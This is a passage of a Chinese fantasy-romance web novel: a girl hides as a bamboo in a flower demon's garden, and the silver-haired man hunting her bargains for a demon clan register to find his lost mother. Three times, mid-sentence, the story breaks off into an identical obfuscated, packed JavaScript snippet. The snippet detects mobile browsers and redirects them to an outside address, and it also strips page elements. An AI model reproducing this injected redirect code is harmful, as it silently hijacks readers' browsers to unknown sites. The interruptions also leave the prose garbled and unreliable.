辞盈抚着胸口,惊魂未定,只见对面立着两个年轻男子,一个着织金华服,手持花影扇,气质如玉;一个年纪更小些,却生得人高马大皮肤黝黑,油亮的头发卷曲着,一边看热闹一边剥栗子吃。 折扇男子一抬手,绿藤便乖巧地收缩着钻回袖袍。 “多谢公子出手相救。”辞盈连忙道谢,“都怪我学艺不精,出丑事小,若非公子及时相助,方才定要酿成大祸。” “姑娘不必过谦。”折扇男微笑道,“在下看得清楚,姑娘宁可自伤也不愿伤及无辜,着实令人钦佩。” 被人夸奖,她忽然一愣。 有种恍然隔世的感觉。从什么时候开始,她变得越来越不像自己了呢。 竟然会为了陌生的孩童对自己施咒。 真奇怪呀。 辞盈笑了笑:“我也就剩这么点儿自觉性了。” 折扇男朗声笑道:“修行之人,技艺尚可精进,人品却是立身之本。依我看,姑娘比那许多道行深厚的高手名家,不知强了多少倍。” 辞盈道:“明明是闯祸,反倒被你表扬一番。公子既看好我,我也不推辞了。待我日后学有所成,再来向公子道谢。我叫辞盈,不知公子贵姓?” “姑娘不必客气,唤我兰卿便可。” “辞盈再谢兰公子。”辞盈深施一礼,忽然感到识海里一阵焦灼。 完了完了,藏獒要找来了! 辞盈恨铁不成钢地瞅了瞅佩剑,跑也跑不掉,躲也没处躲,不由得愁眉苦脸。 兰卿望着她,略一思量:“我看辞盈姑娘不是本地人。天色已晚,姑娘可有地方安置?我家中客房众多,也算干净,姑娘若不嫌弃,可到我家中休息。” 从前辞盈只觉得江羡之爱打扮,然而跟这位兰卿比起来,那真是小巫见大巫。这人生得玉树临风,衣着华美,皮肤比女子还要白嫩,从头发丝到鞋跟,无一处不精致。 怎么说呢,就像一支鲜嫩得能掐出水的兰花,明艳动人得有些过头。 凭她那不算灵敏的直觉,总觉得哪里怪怪的。 辞盈正犹豫不决,旁边的卷毛嚼着栗子,笑嘻嘻道:“姐姐放心,我家主人一向热情好客,绝不是因为姐姐貌美如花才动了什么私心邪念。” 辞盈忙道:“我不是这个意思……实不相瞒,有人正在附近搜寻我,若我去兰公子府上,恐怕会多添麻烦。” “何人在找姑娘的麻烦?”兰卿问道。 辞盈面露难色:“是一个……很可怕、很厉害的人。” “管他是什么人。”卷毛不屑道,“这里可是梅岭,岂容外人放肆?姐姐尽管信我家公子,没人敢在兰府欺负你。” 兰卿扫了他一眼,卷毛立刻闭了嘴。 “辞盈姑娘若信得过,便请随我来吧。”兰卿说罢转身就走。卷毛小黑朝她狡黠地招招手,赶紧跟上。 识海内的危险气息越来越近,辞盈来不及多想,慌不择路地跟了上去。绕过喧闹的商业街,穿过几道幽静的巷子,便是兰府了。 果然是什么人住什么地方。 以前辞盈住在水云剑宗,清修之人,一间瓦房一张床,连张像样的椅子都没有。 到了逍遥山庄,那土匪老窝,金银细软一应俱全,从里到外透着奢靡,恨不得门槛都要镶金边。 再看兰府,处处雅致,走到哪儿都弥漫着沁人心脾的幽香。丫鬟也都是精心挑选 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17101551|195737||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的,个个长得跟假娃娃似的玉雪可爱,连说话语气都一样的软糯乖巧。 辞盈行走在兰府,有种不真实的恍惚感,像是误入了花仙子的后花园,无处不明亮,无处不醉人。 而且这能叫干净吗? 瞧瞧那一尘不染的青石小径,光可鉴人的厅堂地面,亮得晃眼的玉器,还有飞檐下能照出人影的铜铃。 这主人有洁癖吧??? 同为打工人,辞盈很难不共情兰府的丫鬟仆人。这老板看着人模狗样风度翩翩,工作标准简直高到令人发指。 “姐姐,”卷毛落后两步,歪着身子、弓着腿凑到辞盈耳边,“可有心上人啦?” 辞盈礼貌微笑,装聋。 卷毛也不觉得自讨没趣,又摊开手掌上的栗子:“姐姐喜欢吃糖炒栗子吗?尝尝吧,这家又甜又糯,真的,我保证外面绝对买不到这么好吃的栗子。” “谢谢。”辞盈捡了两颗。 “喏,你拿这边两颗,裂开的更好吃。”卷毛圆溜溜的眼睛盯着她,“姐姐真的好漂亮啊。我叫长安,好听吧?是主人给我起的名字。梅岭所有好吃的我都熟,你想吃什么都可以问我。对了,你是从哪里来的?” 辞盈想着自己算是从水云剑宗私逃出来的,对外还是不提为好,免得多生是非,便说:“我从很远的地方来。长安,你是从小就在梅岭长大吗?” “是呀,我从小就没了父母,流落街头,是主人把我捡回家养大的。”长安得意道,“所以这梅岭的美食美景,你还是得问我。像璇玑那种外面逃进来的家伙,什么都不懂,哼,你知道吗,她连栗子都不会吃。” “逃进来?” “嗯,她被人打伤,逃进来的时候丢了半条命,还是主人亲自为她疗伤才救回来的。她伤得可重了,差点儿……” “长安。” 听见主人语气严肃,长安吐了吐舌头,抿着嘴追上兰卿,笑嘻嘻地去扯他的袖口,却扑了个空。 兰卿嫌弃地闪开:“手上都是栗子油。” “哪有哪有,我刚才还拉了姐姐的袖子,人家都不嫌我脏。”长安举起黑黝黝的双手,来回翻面,“你看,可干净了。” 穿过长廊到□□,一片翠绿的竹林赫然映入眼帘。 月光将竹枝的影子拉得愈发细密,整片竹林仿佛笼罩在一层朦胧的轻纱中。萤火虫在竹影间穿梭,把幽暗的竹林点缀成了流动的星河。 “好漂亮的竹林。”辞盈赞道。 兰卿缓缓步入林间,轻抚竹节,仔细确认每一根竹子都在蓬勃生长,专注得如同抚摸爱人的脸颊。 长安难得一本正经道:“主人放心,我每日三次照看着竹林,绝不会有任何问题。” 良久,兰卿忽然开口:“辞盈姑娘,你可愿做一根竹?” “啊?” 兰卿道:“我施法将你化作一根竹子混入这竹林,只要你不主动现形,便没有人能找得到你。” 辞盈没说话。 变成竹子会不会太冒险?万一变不回来,或者此人另有所图怎么办? 她正出神,后脑勺阴森森地飘来一阵低语:“其实,主人每带回一个人,就多一根竹。你眼前的每一根竹子,都是人……” “都是人……” 辞盈尖叫着跳起来,回头见长安笑得满地打滚。 “吓不吓人?我讲鬼故事一流吧?哈哈哈哈哈哈,不行了眼泪都笑出来了。你刚才真信了对不对?哈哈哈哈……” “长安。”兰卿正色道,“不许胡闹。” “活跃一下气氛嘛,”长安抹着眼泪笑道,“姐姐别生气,我逗你的。我发誓,我家公子是这世界上最好的人了,绝对绝对绝——对不会坑害姐姐。” 兰卿无奈地瞪了长安一眼,又道:“你我素味平生,信不过我也是正常。辞盈姑娘,客房已经备好,请自便吧。” “等一下。” 辞盈笑道:“我相信兰公子。” 兰卿摇着折扇:“不怕我将你扣下,永远留在院中?” 辞盈道:“以公子的本事,若要害我,此刻并无外人,直接动手便是,何必与我商量。” “万一我就是衣冠禽兽呢。”兰卿踱步过来,凝视她,“你怎知我不是心怀鬼胎?” 辞盈迎上他的目光,笑盈盈道:“我愿为公子赌一把,是,我就认了。” 兰卿朗声大笑:“玲珑剔透,赤诚可爱,辞盈,我倒真舍不得放你走了。” 言毕,花影扇泛起莹绿的流光,轻点在辞盈眉心,他口中默念振振有词,锦袍一挥,面前人倏尔消失。 竹林繁盛,望之眼花缭乱,真假难辨。长安拍手赞叹:“哇,主人好厉害,就连我也看不出姐姐藏在其中呢!” “你看不出,却有人能千里追踪定位。”兰卿面色凝重,目光戒备地投向远处。 林间风声骤然尖啸,枯叶与沙尘盘旋成诡异的漩涡,滚滚阴云之间,隐约现出猩红的光点,空气中弥漫着渐渐逼近的杀意,一触即发。 “来了!” 22. 你还摸他?? 兰卿万没料到追踪者竟来得如此迅猛。一道红影如闪电般闪烁数次,转瞬间已至近前。 “长安回来!” 兰卿惊呼声未落,长安已如离弦之箭猛扑上去。 来人侧身闪避,动作轻捷如利刃划破黑夜,同时掌心腾起一团血色光晕。 “手下留情——” 兰卿急喝之际,袖中绿藤骤然弹射而出,精准卷住长安,甩回,只听“噗通”一声,长安摔了个四脚朝天。 钟离渊临风而立,银发在夜风中狂舞,眉间不耐烦的花钿因动怒而殷红如血。 “花妖,管好你的狗。” 躲在竹林中的辞盈惊得差点咬掉舌头。 眼看着长安趴在地上,“嗷”一声化作巨形黑犬,龇着獠牙还要往前冲,却被绿藤死死捆住,气得嗷嗷狂吠。 ……长安是狗?! 那花妖说的是兰卿吗??! 好好好,她竟一个都没看出来! “长安,闭嘴。”兰卿面不改色,“尊驾深夜光临寒舍,不知有何指教?” “明知故问。”钟离渊冷峻的目光死死盯着他,“人,交出来。” “什么人?”兰卿轻摇折扇,“长安不是,我亦不是。少侠,此处分明只有你一人。” 晚风穿林而过,静谧的庭院里只剩竹叶摩擦的沙沙声。 钟离渊扫视四周,又闭眼凝神感知。长安在藤下无声躁动,眼神示意要趁机偷袭,兰卿立刻摇头,目光里的命令无比清晰:老实趴着,别作死。 许久,钟离渊睁眼:“我查不出踪迹,但她定然就在此处。” 兰卿耸耸肩:“少侠可自行查验,我乐意配合。” 钟离渊的目光最终定格在竹林,抬手抚上一根纤细的修竹,冷声道:“花妖,你将她藏在这里,与我作对,是活腻了?” 兰卿忽然笑了:“少侠当我眼盲?这些日子,梅岭里外早被你翻了个底朝天。即便我不与你作对,你难道就会放过我?” 原来钟离渊压根没回家,一直在梅岭打探消息……辞盈心头好奇更甚。 这位可是个能把问心剑随手当破烂扔的主,法宝神器在他眼里不值一提,究竟是什么事值得他如此上心? “有趣,竟被你发现了。”钟离渊挑了挑眉,狭长的眼角瞬间漫出森然杀意,“所以你是故意绑她作人质,想以此要挟我?” 兰卿扯了扯唇角:“不敢。兰某一介花妖,但求自保。不知少侠三番五次探查梅岭,究竟意欲何为?” 钟离渊嗤笑:“你也配跟我谈条件?” “谈条件的资格,向来取决于手里的筹码有多重。”兰卿语气平静,不卑不亢。 空气仿佛瞬间凝固,两人目光交锋处,恰似刀光剑影暗藏,杀机四伏。 半晌,钟离渊冷哼一声:“你将她藏在竹林之中,真当我束手无策?” 兰卿沉默地望着他,不置一词。 下一瞬,一团烈焰轰然在钟离渊掌心燃起,他运起内力,火势如浇了滚油般窜起几丈高,映红了半边夜空。 “你——”兰卿脱口而出,“莫要乱来,辞盈就在竹林里!” “我岂会不知?”钟离渊低头瞄了眼掌心光焰,唇角勾起一抹阴鸷的笑, “我正嫌她碍眼难除,你既藏得严实,我又分不清哪个是她,索性烧了整片竹林,一了百了!” 兰卿脸色骤变,手腕急转祭出法器,银环外围密密麻麻的毒刺在火光下闪着寒芒。 “怎么急了?”钟离渊冷笑,“还要多谢你,帮了我大忙。” “没有人可以动这片竹林,包括你。”兰卿神色凝重如铁。 “就凭你?还是凭这只鬼鬼祟祟的小东西?”钟离渊突然抬手,掌风如箭射出,“砰”地一声从房顶掀下个人来,那身影重重摔在地上,狼狈地爬起来退回兰卿身后。 竟是个身形矮小、脸蛋滚圆的胖乎乎小丫头。 “璇玑!”长安急得大吼,“你这笨蛋!藏都藏不好!” 璇玑来不及收起尖爪,胡乱抹了把嘴角的血,抿着嘴一言不发。 “喂!你这可恶的家伙!有种跟我单挑啊!”长安在细藤里抻着脖子狂吠,“主人!快放开我!让我咬死他!连那么漂亮的姐姐都要杀,这个冷血混账!” 钟离渊皱眉:“又是猫又是狗,聒噪死了。” 兰卿目不转睛地盯着他,手中法器旋转,空气中弥漫开灼烧磷火的刺鼻气味。 大战,一触即发。 “破!” 竹林中突然炸响一声清喝,伴随着“砰”的巨响,修竹里炸出个大活人来。 钟离渊掌心的火焰瞬间熄灭。 冲出来的辞盈一肚子火。 瞅瞅面前两个各怀鬼胎的男人——一个拿她当人质,一个恨不得把她烧成灰。很明显,左边不是好人,右边也不是。 该让这俩货打个头破血流才解气! 可猫猫狗狗总归是无辜的。 人弱志短。辞盈不得不压下火气,耐心做和事佬:“都是误会啊误会,散了吧,各回各家。” 然而,两边都没有要散场的意思。 兰卿手里的法器已经转冒烟了。 钟离渊握着辞盈的手,状态倒松弛许多,不紧不慢道:“花妖,不必紧张,我只想借你手里的梅岭妖族谱一阅,至于你的这些猫狗竹子,我统统没兴趣。” “妖族谱是梅岭秘册,我不能随意借给外人。”兰卿顿了顿,“除非,你能帮我们破除漓音湖上的封印。” 漓音湖上竟然有封印? 辞盈暗道,不知这封印是谁设下。不过,被封印的能是什么好地方?八成里头就藏着个祸害,正如她面前这位,一旦打开盲盒恐怕后患无穷。 还没等她发表意见,钟离渊已经漠然拒绝:“不可能。” “那恕在下也爱莫能助了。”兰卿道。 钟离渊:“我没有在与你商量。” 兰卿:“噢。” 长安:“姐姐你快过来!离那个渣男远点!” 钟离渊斜睨过去:“……姐姐?” 辞盈赶紧拍灭他指尖的火苗:“叫姐姐怎么了,别瞎激动。那什么,今天大家都累了,气氛不好,不适合谈事儿,改天再聊吧哈。” 长安:“姐姐别走!你不是说愿意为了主人永远留在这后院里吗?” 钟离渊:“……” 辞盈:“……” 累了,毁灭吧。 兰卿却悠哉地火上浇油:“辞盈姑娘,我们的约定不变,我很欢迎你住在这里。” “啊……多谢。”辞盈扯扯钟离渊的袖子,“我挺喜欢这儿的,我们先住下,别的事慢慢商量呗。” “辞盈,我只邀请了你。兰府可不是随便什么人都能留宿的。”兰卿斜倚朱栏,花影扇“唰”地展开,扇面泼墨山水间金线暗绣,手腕一翻便搅得满庭兰香四溢,“不过,我倒是缺个园丁。” 辞盈怀疑自己听错了:“缺……什么玩意儿?” 兰卿用扇叶一指钟离渊:“你若能替我照看好这满园修竹,或许,我会考虑妖族谱的事。” 辞盈眼皮乱跳:“或许……你不知道他是谁……” 这合理吗?让钟离渊种竹子?是想让自家后花园埋满尸体吗? 钟离渊抱臂看着他,语气冰冷:“小花妖,你猜,我直接杀了你会不会更简单?” 兰卿毫无惧色:“我敢保证,我若死了,你永远也找不到妖族谱。” 两人对视,竹园里气氛再次僵持。辞盈紧张地左看右看,忽然发现墙角有坨圆滚滚的东西—— “什么?主人!你让他照看竹子?他能有我做得好吗?他能保证不偷吃竹笋吗?那竹笋鲜嫩多汁,我都忍得好辛苦!他肯定会全部吃光的啊啊啊!”长安在绿藤里打滚抗议。 墙角的东西被吵得动了动,慢吞吞换了个姿势继续睡,这次披散的长发下露出半张小圆脸。 是璇玑,她居然还睡着了??? 钟离渊沉吟片刻,吐出四个字:“一言为定。” 辞盈:“?” 太魔幻了。只要活得够久,竟能看见钟离渊用那双能拍掉九曜掌门脑袋、拍碎天罡塔的手,挑水浇竹园。 这妖族谱到底是何方神圣?看一眼能飞升成仙当玉帝吗? 当晚,辞盈就做了个噩梦——兰府的整片竹林跟镇元子的人参果树一个下场,根脉比超市里被捏过的薯片还碎,满地狼藉,惨不忍睹。 梦里兰卿哭得那叫一个肝肠寸断。 不行,她得盯着点儿。 第二天一早,辞盈趴在门上听动静。对面钟离渊的卧房刚有响动,她立刻抻着懒腰出去假装偶遇。 一照面,她就愣了一下。 钟离渊换了修身的赤色便服,衬得身形如淬火利刃般挺拔,颈间露出一小截雪白中衣,银发高高束成马尾,眉目俊逸中透着几分邪气,漂亮得像烈日般晃眼。 又开始了,扑通扑通。 她不自觉错开目光,又瞥见他袖口随意挽至肘间,露出线条分明的小臂,隐约可见几道旧痕,像是陈年旧伤。 这伤痕……谁有本事能伤得了他呢? 愣神的功夫,钟离渊已经大步流星消失在走廊转角。辞盈连忙跑步跟上,笑得谄媚:“哎呦这是谁家的小郎君,腿这么长,我不跑都跟不上呢。” 钟离渊头也不回:“昨天你甩我的时候,跑得可不慢。” “甩你?谁呀?”辞盈戳戳他的腰,“不要冤枉我,我昨天去买东西了,肚子疼嘛……” “买东西买到竹园来了,变成竹子就不疼了?” “真没骗你,昨天肚子真的疼。”辞盈抓着他的手臂荡来荡去,“你对我这么好,我怎么舍得丢下你呢。” 钟离渊斜她一眼:“那是谁昨天说要留在那花妖的后院?我倒没看出来,你喜欢他那样的?” 呵,彼此彼此。昨天是谁说要一把火烧了她来着? 辞盈摆手:“怎么可能,我不喜欢有洁癖的男 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17101552|195737||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人。” 话音未落,忽然感到脸侧冲来一阵风。 钟离渊抬手轻轻一弹,好像要弹走指尖残留的水珠一样轻巧,身侧便凭空现出一道透明光壁,光壁上还贴着一张不知道从哪里冲过来撞扁了五官的脸,表情痛苦,贴着光壁缓缓滑落。 两行鲜血登时从长安的鼻孔里流出来。 辞盈看着都疼:“你没事儿吧?” 长安摇摇头爬起来,抹掉鼻血:“我家公子不是洁癖,那是品行高洁!” “是是,我说错了。”辞盈笑道,“长安,你家主人呢?” “主人又出诊了。”长安揉着红鼻头,“狍子精那个蠢货,见到坏人也不知道跑,妖丹差点儿被打碎,他娘哭哭咧咧半天讲不清楚,主人便亲自去了。” 信息量有点儿大。 “兰公子是医师?” “不不,”长安立刻骄傲起来,“我家公子那样的人才怎么会只做医师?只不过这梅岭的妖都是些倒霉的笨妖,时常受伤,公子心善,便随手照拂了。” 辞盈背后直冒凉风:“梅岭到底有多少妖怪啊?” 长安抽动鼻子:“不知道,没数过。这儿人很少,基本上你看见的活物都是妖。” 都……都是妖…… 辞盈僵硬地扭头看向钟离渊:“你知道我是什么体质吧?” “嗯。” “那你还带我来这儿???” 简直见了鬼!她在水云剑宗躲妖怪躲了三年,连暮苍山都不敢下,全靠师尊和师兄庇护才没被妖怪嚼碎骨头,现在居然大摇大摆堂而皇之住进了妖怪窝? 本来觉得兰卿还不错,又有钟离渊陪着,暂住几天应该没事。结果现在你告诉我整个梅岭没人类?! Excuseme??? 我是美团闪购新鲜唐僧肉免费送货上门吗? 辞盈心里骂骂咧咧瞪了钟离渊一眼。 可奇怪的是,昨夜分明风平浪静,并没有妖怪来偷袭。 或许这些低级小妖认不出圣女体质? 辞盈盯着长安,试探着问:“你知道我是谁吗?” 长安卷毛下的眼睛亮晶晶:“你是我家公子领回家的漂亮姐姐!” “咔嚓”,钟离渊手里的整枝竹子断成了几截。 “不不,我不要这个答案。”辞盈想了想,换个问法,“长安,你能闻到我的身体,啊不,血肉,有一股莲花香气吗?” 长安疑惑地低下头,鼻子刚要凑过来,就被长嘴水壶的尖锐壶口抵住了喉咙。 钟离渊:“滚远点。” 长安却趁机用力深吸一口,眼神渐渐迷离:“姐姐不仅漂亮,还真香啊……” 钟离渊脸色瞬间阴鸷:“蠢狗,你找死吗。” 这是妖怪吸入大量莲花香后的本能反应,跟嗑药没两样。 辞盈赶紧猛拍长安的脸:“喂喂,清醒点!” 长安甩甩头,如梦初醒般喘了几口气,感慨道:“以前只听人说过圣女香,哇,果然比糖炒栗子还香,好想咬一口。” 辞盈愕然:“你知道我是圣女?” 长安纳闷:“我为什么不知道?所有妖精都能一眼看出你是圣女啊,只有普通人类才看不出。” 辞盈倒吸一口凉气。 这么说来,她昨晚甩掉钟离渊,独自在梅岭狂奔,还跟着兰卿他们到处溜达,无异于在死神的筷子尖上疯狂蹦迪! “那你们为什么……为什么……”她想问为什么不吃我,又觉得这个问题过于愚蠢问不出口。 长安恍然大悟:“姐姐是不是碰见过很多坏蛋妖精,想要害你?” 辞盈点点头。 长安的黑脸沉了下来,怒道:“就是因为那些妖怪四处作乱,败坏我们的名声,才害得我们连门都不敢出。要是被我碰见,非把他们的妖丹打成栗子不可。” “你们?” “姐姐放心,我们梅岭的妖怪是不害人的。”长安义正辞严道,“公子说过,人也是活物,虽然笨弱,但也有爹有娘有感情,怎么能随意杀害呢?” 真是打开新世界大门,妖居然也有这么自律的组织! 辞盈听得热泪盈眶,很想拥抱他,又怕他嗑药犯病,只好踮起脚,费力地摸摸他卷曲的发梢:“长安好乖。” 怎么突然有杀气? 醋王咬着牙,眼神淬了冰:“你还摸他……” 辞盈道:“别误会,我从小就喜欢狗狗,看见就忍不住想撸,特别是这种卷毛毛,手感真的很好啊,不信你试试。” 钟离渊:“你说什么,你喜欢他?!” 辞盈:“对啊我喜欢狗。” “狗怎么啦!”长安皱着鼻子哼了一声,乖乖蹲下魁梧的身躯,圆眼睛眨了眨:“摸吧摸吧,我最喜欢姐姐摸我了。” 辞盈兴奋地搓搓手,刚伸出去便被一把攥住,直接拖走。 辞盈:“哎,某人刚才不是不理我嘛?” 钟离渊磨牙:“我迟早要把那蠢狗的卷毛剃光。” 23. 培竹逗狗 三天后,树荫底下啃西瓜看钟离渊养竹,成了辞盈每日雷打不动的乐事。 风里裹着湿润的泥土气,混着清冽的竹叶香,深吸一口,仿佛五脏六腑都被浸得透亮。 而更赏心悦目的,当然是不远处的养竹人了。 劲瘦的腰,轻捻竹苗的修长手指,以及白皙的脖颈上闪动的汗水顺着利落的下颌线滑进领口。 啧啧啧。 辞盈索性搬来藤椅,翘着二郎腿吐西瓜籽,从日头初升到暮色四合,困了就歪着打个盹。 迷迷糊糊间鼻尖发痒,一个喷嚏惊得她睁眼,撞进钟离渊含着笑的眸子。他斜叼着片竹叶,语气带点戏谑:“要不我把你床也搬来?” 辞盈的视线却被他身后墨绿色的竹海深深吸引。 月光下的竹林像泼了层朦胧的银纱,风过时,万千竹叶翻涌,恍若池里跃出的鱼群,沙沙作响。 不是错觉!这竹林竟像被施了魔法。 不过三天,竟像被重新上了层釉彩——新笋嫩尖顶着莹润的露珠,竹身泛着青釉般的光泽,连空气里的绿意都像是能拧出水来。 “天才,你做了什么?”辞盈从藤椅里弹起来。 钟离渊吐掉竹叶,随意坐在石阶上,支着长腿:“你以为那花妖为何要我替他养竹?他以妖力栽竹,虽然茂盛却少了人气,恐不能长久。竹子本就属阴,加之妖气冲天,普通人若被这妖竹吸上两天,恐怕早就站不起来了。” 辞盈大吃一惊:“那你怎么办,会不会伤着?” 他撩起眼皮,眼神带点玩味:“你也在这躺了三天,不先关心自己?” 辞盈怔了一下。 “……我靠,那咱俩还等什么呢?赶紧跑呀!” 钟离渊一把拉住她,低笑:“慌什么,你是圣女,又不是普通人,本来他想把你种在这,也是看中了你能滋养竹林。” “夺笋啊。”辞盈拔萝卜似的往回抽胳膊,“吸不死不代表吸不坏啊,折寿我就犯不上吧,加速皮肤衰老我也受不了啊。” “有我在,轮不到你。”他不肯撒手,反倒将她拉到身边坐下,顺手捞过她吃剩的半个西瓜。瓜心早被挖空,只剩周围一圈瓜瓤,籽泡在红汤里乱糟糟的,他却毫不在意,就着她用过的勺子舀着吃。 薄唇沾了粉红汁水,像淋了蜜的湿软蛋糕,看得辞盈不自觉咽口水。她移开目光,岔开话题:“你为什么非要妖族谱?” 他一口接一口地吃,腮帮鼓动着,好像很饿似的,连籽也不吐。就在辞盈以为他不想搭理自己的时候,他终于咽下嘴里的西瓜,声音低了些。 “我母亲是蛇妖。” 辞盈扭头看他。 “三百年前的事,我记不清了。现在的人只夸墨翊夫妇是救世英雄,骂我父亲死有余辜,故事编了不少,却没人提钟离桀的妻子去哪了,反正对这世界来说,她无足轻重。”他又舀了一勺瓜,却没吃,只遥遥望着天边皎月,“可她对我很重要。” “你还记得她的样子吗?”辞盈问。 钟离渊愣了愣,神情恍惚,半晌才摇头:“我只记得她是个很温柔的人,她会带我看天,看云,看星星,还会给我唱好听的歌。” 他说这些的时候,声音格外轻缓,像是穿过了时光的长河,轻缓地流回那段绝无仅有的美好片段。他抬头望着月亮,从这个角度,辞盈看不见他的眼睛。 她忍不住想,此时此刻他的眼神一定温柔极了,因为她只听着他的声音就几乎要被融化了。 “那她……”辞盈不知道怎么措辞。 “我不知道她去了哪里,有人说她还活着。”钟离渊的声音与往常不太一样,像生涩的柠檬片,酸溜溜地往心里钻。 “怎么可能呢。如果她还活着,为什么她从来没有找过我。” 他的语气里没有疑问,甚至没有失望,只有陈积了三百年的沉寂,像坟头的一撮死灰,看着轻飘飘,却沉甸甸地压得人喘不上气。 辞盈想了想,说了一个自己都不信的理由:“可能她身不由己,没办法来找你……” 气氛沉重,她清了清嗓子,笑道:“你母亲必定貌美极了。” 钟离渊略一挑眉。 她用手指戳他的脸:“你自己照镜子就知道啦。” 钟离渊若有似无地笑了一下:“我查到她似乎出身梅岭,而此地妖籍记录又十分详尽,从婚丧嫁娶到生平要事皆可查阅。” “因此你想要通过妖族谱找到你母亲?”辞盈问。 “是。”他答得干脆,“无论生死,我必须要知道她在哪。” “万一妖族谱也没有记载呢?” 钟离渊淡然道:“典籍没有记载,还有活人可查。” 见证三百年前那场大战还能活下来的人已经是凤毛麟角,就算威逼利诱也未必能从他们口中得到一句实话,何况他要查的只是一条无人在意的蛇妖。 逼问之下,必有一场腥风血雨。 风渐渐歇了,空气闷得发黏。辞盈捡起片竹叶含在嘴里,吹得“噗噗”响,始终不成调。她戳戳钟离渊:“你怎么吹得那么好听?教教我呗。” 他不理,她就自己瞎练,练到缺氧头晕也没成。 两人之间弥漫着一种心照不宣的沉默。 辞盈盯着地上被月色拉长的影子发呆,余光瞥见墙角有东西蠕动,吓得一哆嗦,嘴唇顿时刺痛,湿热的液体顺着嘴角叶片滴落在裙摆上,洇开一小片红。 “嘶——”她指着墙角,“那那那里有东西!” “是那只胖猫在睡觉。”钟离渊皱起眉,扳过她的下巴,仔细查看伤口。 辞盈揉揉眼,果然是团黄毛胖猫,蜷在墙角翻了个身,继续打盹。 他捧着她的脸,目光从她渗血的唇瓣移到那双清澈灵动的眼睛,又落回唇上。他盯着她,眸色深了深,像个很想要捧着伤口喝到饱的吸血鬼。 辞盈心跳又飙到一百八。 无妨无妨,谁被吸血鬼盯着看能不紧张。 “疼吗?” “有点,不碍事。”她推开他的手,仰头看月亮,试图平复心跳。 “若你是我,三百年后破塔而出,会做什么?”他忽然开口。 竹叶沙沙作响,月光凉得像水。 “先杀清衍,再斩萧阳,当年参与过围剿的,主张诛杀我封印我的,不分老少,一个不留。” 辞盈语气平静地说出这番话,跟她白天说西瓜好甜的时候没什么区别。 钟离渊眼中的震惊掩饰不住。 她反问:“怎么,没见过我这么歹毒的圣女?” “好。” 他忽然道,“那我明日就杀上暮苍山,你觉得如何?” 她毫不犹豫:“我自然要与你血战到底。” “明知我的因果,还要阻我?” “你要杀水云剑宗的人,我师尊不会坐视。你要动我师尊,我便不能不拼命。”辞盈语气郑重,“钟离渊,你有你的因果,我有我的立场,各自行事,两不相干。” “怎会不相干。”他脸色沉下来,“你明知我不能逆你的心意。那个人……就那么重要?” “重要。” 师尊是她的救命恩人,也是这世上给她最多温暖的人。前世今生,遇着墨让尘之前,她从不知被偏爱是什么滋味——是能肆意作妖的有恃无恐,是有人兜底的安全感,更是发现自己值得被爱的底气。 是种很幸福的感觉。 辞盈没再多说,因为看见钟离渊微微颤动的睫毛,忽然就心软了。 “对不起,相思咒真的无法可解。但是我有一个办法,能帮你摆脱我。” 钟离渊盯着她,似乎并不相信。 “从今天起,日行一善,不杀人,只救人。等我攒够三千功德,就能回家了。”她认真道,“我会彻底离开这里,去一个毫不相干的世界,你再也不会看见我。没人能再束缚你。” 他嗤笑:“就算你逃到天涯海角,我也能找到。” 辞盈笑了:“我家不在桃花坞,在另一个世界。我保证,你再也找不着。” 他沉默片刻,半信半疑:“好,我暂时不杀人。” …… 三天后。 “放手!我要杀了这花妖!”钟离渊怒喝。 “冷静一点!”辞盈死命拽着他,回头朝兰卿喊,“兰公子你就别火上浇油了,他冲得跟头牛似的我真拦不住啊!” 兰卿坐在茶案前,垂眸如禅定,手腕悬在半空注水,看青碧芽叶在琉璃盏里旋转、舒展、浮沉,气定神闲。 长安站在案边,怀里揣着袋梨膏糖,一边嚼一边忧心忡忡:“这人虽然模样好看,但脾气太差,不是良配。姐姐你快过来,离他远点,小心受伤。”嚼嚼嚼。 钟离渊眼刀飞过去:“蠢狗,再多说一句,拆了你的骨头当柴烧。” “你看你看!你就是暴力狂!姐姐的嘴是不是你咬破的?”嚼嚼嚼。 “闭嘴。”辞盈瞪他。 兰卿在茶香氤氲中睁眼,慢悠悠道:“少侠怕是误会了。我答应借阅妖族谱,条件是请你照看竹园,但绝非区区三天这般儿戏。” 辞盈追问:“那要多久?” “至少九九八十一天。” 辞盈失声:“夺少?!” 钟离渊:“选吧,你自己死,还是我动手。” 兰卿:“我不。” 辞盈打圆场:“兰公子,能小刀吗?” 兰卿:“八十天,不能再少了亲。” 钟离渊:“辞盈,让我杀一只妖,就一只?” 长安:“姐姐真不考虑我吗?我超温柔,从不打女人的。”嚼嚼嚼。 钟离渊、 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17101553|195737||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); 